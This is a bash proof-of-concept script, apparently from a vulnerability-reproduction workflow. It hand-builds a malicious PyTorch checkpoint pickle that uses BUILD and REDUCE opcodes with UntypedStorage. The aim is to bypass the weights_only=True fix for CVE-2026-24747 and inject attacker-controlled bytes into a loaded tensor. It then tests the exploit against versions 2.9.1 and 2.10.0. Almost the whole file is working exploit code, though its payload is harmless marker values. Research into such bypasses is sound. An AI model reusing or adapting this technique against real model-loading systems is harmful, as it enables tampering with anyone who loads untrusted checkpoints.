#!/bin/bash
set -euo pipefail

# CVE-2026-24747 Variant: BUILD + REDUCE UntypedStorage Bypass
# =============================================================
# This variant bypasses the SETITEM/SETITEMS fix in PyTorch 2.10.0
# by using the BUILD opcode combined with REDUCE to create an
# UntypedStorage with attacker-controlled content.
#
# The fix in 2.10.0 ONLY checks SETITEM/SETITEMS targets (must be dict/OrderedDict/Counter).
# The BUILD handler for Tensor still calls inst.set_(*state) without validation.
# Since UntypedStorage is in the allowed globals, REDUCE can create one with
# attacker-controlled bytes, and BUILD can bind a tensor to it.
#
# Exit 0 = bypass confirmed on FIXED version (true bypass)
# Exit 1 = variant only works on vulnerable version or no variant found

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
mkdir -p "$LOGS"

cd "$ROOT"

echo "================================================================"
echo "CVE-2026-24747 VARIANT: BUILD + REDUCE UntypedStorage Bypass"
echo "================================================================"
echo ""

# ---- Helper: Create exploit checkpoint ----
create_and_test_exploit() {
    local PYTHON_BIN="$1"
    local LABEL="$2"
    local CHECKPOINT="/tmp/cve_2026_24747_variant_${LABEL}.pth"

    echo "--- Testing on: $LABEL ---"
    local VERSION
    VERSION=$($PYTHON_BIN -c "import torch; print(torch.__version__)")
    echo "[*] PyTorch version: $VERSION"

    # Create the malicious checkpoint
    $PYTHON_BIN << 'CREATE_EOF'
import io, struct, zipfile, sys
from pickle import (
    PROTO, GLOBAL, MARK, BINUNICODE, BINPUT, BINGET, BININT, BININT1,
    TUPLE, TUPLE1, TUPLE2, BINPERSID, NEWFALSE, REDUCE, BUILD,
    SETITEM, STOP, EMPTY_TUPLE, EMPTY_DICT
)

def build_binunicode(s):
    encoded = s.encode('utf-8')
    return BINUNICODE + struct.pack('<I', len(encoded)) + encoded

# 10 attacker-controlled float32 values
MAGIC = [1337.0, 31337.0, 42.0, 57005.0, 48879.0,
         51966.0, 47806.0, 64206.0, 9999.99, 12345.0]
payload_size = len(MAGIC)
payload_bytes = struct.pack('<' + 'f' * payload_size, *MAGIC)
payload_str = ''.join(chr(b) for b in payload_bytes)
legit_storage = struct.pack('<ffff', 0.0, 0.0, 0.0, 0.0)

pkl = bytearray()
pkl += PROTO + b'\x02'
pkl += EMPTY_DICT + BINPUT + b'\x00'
pkl += build_binunicode('weights') + BINPUT + b'\x01'

# Create a legitimate tensor via _rebuild_tensor_v2 (normal path)
pkl += GLOBAL + b'torch._utils\n_rebuild_tensor_v2\n' + BINPUT + b'\x02'
pkl += MARK
pkl += MARK
pkl += build_binunicode('storage') + BINPUT + b'\x03'
pkl += GLOBAL + b'torch\nFloatStorage\n' + BINPUT + b'\x04'
pkl += build_binunicode('0') + BINPUT + b'\x05'
pkl += build_binunicode('cpu') + BINPUT + b'\x06'
pkl += BININT1 + b'\x04' + TUPLE + BINPUT + b'\x07' + BINPERSID
pkl += BININT1 + b'\x00'  # offset
pkl += BININT1 + b'\x04' + TUPLE1 + BINPUT + b'\x08'  # size=(4,)
pkl += BININT1 + b'\x01' + TUPLE1 + BINPUT + b'\x09'  # stride=(1,)
pkl += NEWFALSE
pkl += GLOBAL + b'collections\nOrderedDict\n' + BINPUT + b'\x0a'
pkl += EMPTY_TUPLE + REDUCE + BINPUT + b'\x0b'
pkl += TUPLE + BINPUT + b'\x0c' + REDUCE + BINPUT + b'\x0d'

# BUILD state tuple: (UntypedStorage(attacker_bytes), 0, torch.Size([N]), (1,))
# All constructed via nested REDUCE chains within MARK scope
pkl += MARK

# Element 1: UntypedStorage(encode(payload, 'latin-1'))
pkl += GLOBAL + b'torch.storage\nUntypedStorage\n' + BINPUT + b'\x14'
pkl += GLOBAL + b'_codecs\nencode\n' + BINPUT + b'\x10'
pkl += build_binunicode(payload_str) + BINPUT + b'\x11'
pkl += build_binunicode('latin-1') + BINPUT + b'\x12'
pkl += TUPLE2 + REDUCE + BINPUT + b'\x13'  # encode() -> bytes
pkl += TUPLE1 + REDUCE + BINPUT + b'\x15'  # UntypedStorage(bytes)

# Element 2: offset = 0
pkl += BININT1 + b'\x00'

# Element 3: torch.Size([payload_size])
pkl += GLOBAL + b'torch\nSize\n' + BINPUT + b'\x16'
pkl += BININT + struct.pack('<i', payload_size) + TUPLE1 + TUPLE1
pkl += REDUCE + BINPUT + b'\x17'

# Element 4: stride = (1,)
pkl += BININT1 + b'\x01' + TUPLE1

pkl += TUPLE + BINPUT + b'\x19'  # Close state tuple
pkl += BUILD  # tensor.set_(*state) -- THE BYPASS!
pkl += SETITEM + STOP

output = io.BytesIO()
with zipfile.ZipFile(output, 'w') as zf:
    zf.writestr('archive/data.pkl', bytes(pkl))
    zf.writestr('archive/data/0', legit_storage)
    zf.writestr('archive/version', '3\n')
    zf.writestr('archive/byteorder', 'little')
    zf.writestr('archive/.format_version', '1')
    zf.writestr('archive/.storage_alignment', '64')
    zf.writestr('archive/.data/serialization_id', '0' * 40)

import os
path = os.environ.get('EXPLOIT_PATH', '/tmp/cve_2026_24747_variant.pth')
with open(path, 'wb') as f:
    f.write(output.getvalue())
print(f"[+] Created exploit checkpoint: {path} ({len(output.getvalue())} bytes)")
CREATE_EOF

    # Verify the exploit
    EXPLOIT_PATH="$CHECKPOINT" $PYTHON_BIN << 'VERIFY_EOF'
import torch, ctypes, struct, sys, os

path = os.environ.get('EXPLOIT_PATH', '/tmp/cve_2026_24747_variant.pth')
print(f"[*] Loading checkpoint: {path}")
print(f"[*] PyTorch version: {torch.__version__}")

MAGIC = [1337.0, 31337.0, 42.0, 57005.0, 48879.0,
         51966.0, 47806.0, 64206.0, 9999.99, 12345.0]

try:
    result = torch.load(path, weights_only=True)
    t = result['weights']
    print(f"[+] torch.load(weights_only=True) succeeded!")
    print(f"[+] Tensor shape: {t.shape}, dtype: {t.dtype}")
    print(f"[+] Storage size: {t.untyped_storage().size()} bytes")

    print(f"\n[*] Verifying attacker-controlled values:")
    all_match = True
    for i, exp in enumerate(MAGIC):
        actual = t[i].item()
        match = abs(actual - exp) < 1.0
        status = "MATCH" if match else "MISMATCH"
        print(f"    t[{i}] = {actual:>12.1f}  (expected {exp:>12.1f}) [{status}]")
        if not match:
            all_match = False

    # Show raw bytes
    raw = (ctypes.c_char * min(40, t.numel() * 4)).from_address(t.data_ptr())
    hex_str = ' '.join(f'{b:02x}' for b in bytes(raw))
    print(f"\n[*] Raw memory: {hex_str}")

    if all_match:
        print(f"\n[+] ALL {len(MAGIC)} MAGIC VALUES CONFIRMED")
        print(f"[+] Attacker-controlled data injected into tensor via BUILD+REDUCE bypass")
        sys.exit(0)
    else:
        print(f"\n[-] Some values did not match")
        sys.exit(1)

except Exception as e:
    print(f"[-] Error: {type(e).__name__}: {e}")
    sys.exit(1)
VERIFY_EOF
    return $?
}

# ========================================================
# Test 1: Vulnerable version (PyTorch 2.9.1)
# ========================================================
echo ""
echo "========================================"
echo "TEST 1: PyTorch 2.9.1 (VULNERABLE)"
echo "========================================"

VULN_PYTHON="python3"
VULN_VERSION=$($VULN_PYTHON -c "import torch; print(torch.__version__)" 2>/dev/null || echo "not installed")

if [[ "$VULN_VERSION" == *"2.9.1"* ]]; then
    echo "[*] Found PyTorch $VULN_VERSION"
    EXPLOIT_PATH="/tmp/cve_2026_24747_variant_vuln.pth"
    export EXPLOIT_PATH
    if create_and_test_exploit "$VULN_PYTHON" "vuln" 2>&1 | tee "$LOGS/variant_vuln.log"; then
        VULN_RESULT=0
        echo "[+] VARIANT WORKS on vulnerable version (2.9.1)"
    else
        VULN_RESULT=1
        echo "[-] Variant failed on vulnerable version"
    fi
else
    echo "[!] PyTorch 2.9.1 not found (got: $VULN_VERSION), skipping"
    VULN_RESULT=2
fi

# ========================================================
# Test 2: Fixed version (PyTorch 2.10.0)
# ========================================================
echo ""
echo "========================================"
echo "TEST 2: PyTorch 2.10.0 (FIXED/PATCHED)"
echo "========================================"

FIXED_PYTHON="/tmp/pytorch_fixed_venv/bin/python3"

# Ensure fixed venv exists
if [ ! -f "$FIXED_PYTHON" ]; then
    echo "[*] Creating fixed version venv..."
    python3 -m venv /tmp/pytorch_fixed_venv
    /tmp/pytorch_fixed_venv/bin/pip install "torch==2.10.0" --index-url https://download.pytorch.org/whl/cpu --quiet 2>&1 | tail -3
fi

FIXED_VERSION=$($FIXED_PYTHON -c "import torch; print(torch.__version__)" 2>/dev/null || echo "not installed")

if [[ "$FIXED_VERSION" == *"2.10.0"* ]]; then
    echo "[*] Found PyTorch $FIXED_VERSION"
    EXPLOIT_PATH="/tmp/cve_2026_24747_variant_fixed.pth"
    export EXPLOIT_PATH
    if create_and_test_exploit "$FIXED_PYTHON" "fixed" 2>&1 | tee "$LOGS/variant_fixed.log"; then
        FIXED_RESULT=0
        echo ""
        echo "================================================================"
        echo "[!!!] BYPASS CONFIRMED: Variant works on PATCHED version 2.10.0!"
        echo "================================================================"
        echo ""
        echo "The SETITEM/SETITEMS fix is bypassed via BUILD + REDUCE:"
        echo "  1. REDUCE(_codecs.encode, (payload, 'latin-1')) -> attacker bytes"
        echo "  2. REDUCE(UntypedStorage, (bytes,)) -> attacker-controlled storage"
        echo "  3. BUILD tensor with set_(storage, 0, Size, stride)"
        echo "  4. Tensor now contains attacker-controlled data!"
        echo ""
        echo "The BUILD handler for Tensor calls inst.set_(*state) without"
        echo "any validation. UntypedStorage is in _get_allowed_globals()."
    else
        FIXED_RESULT=1
        echo "[-] Variant does NOT bypass the fix (SETITEM fix is sufficient)"
    fi
else
    echo "[!] PyTorch 2.10.0 not available, can't confirm bypass"
    FIXED_RESULT=2
fi

# ========================================================
# Summary
# ========================================================
echo ""
echo "========================================"
echo "SUMMARY"
echo "========================================"
echo "Vulnerable (2.9.1): $([ ${VULN_RESULT:-2} -eq 0 ] && echo 'EXPLOITABLE' || echo 'N/A or FAILED')"
echo "Fixed (2.10.0):     $([ ${FIXED_RESULT:-2} -eq 0 ] && echo 'STILL EXPLOITABLE (BYPASS!)' || echo 'Fixed or N/A')"
echo ""
echo "Log files:"
echo "  $LOGS/variant_vuln.log"
echo "  $LOGS/variant_fixed.log"

# Exit 0 if bypass confirmed on fixed version
if [ "${FIXED_RESULT:-2}" -eq 0 ]; then
    echo ""
    echo "EXIT 0: True bypass confirmed - variant works on patched version"
    exit 0
else
    echo ""
    echo "EXIT 1: No bypass confirmed on fixed version"
    exit 1
fi
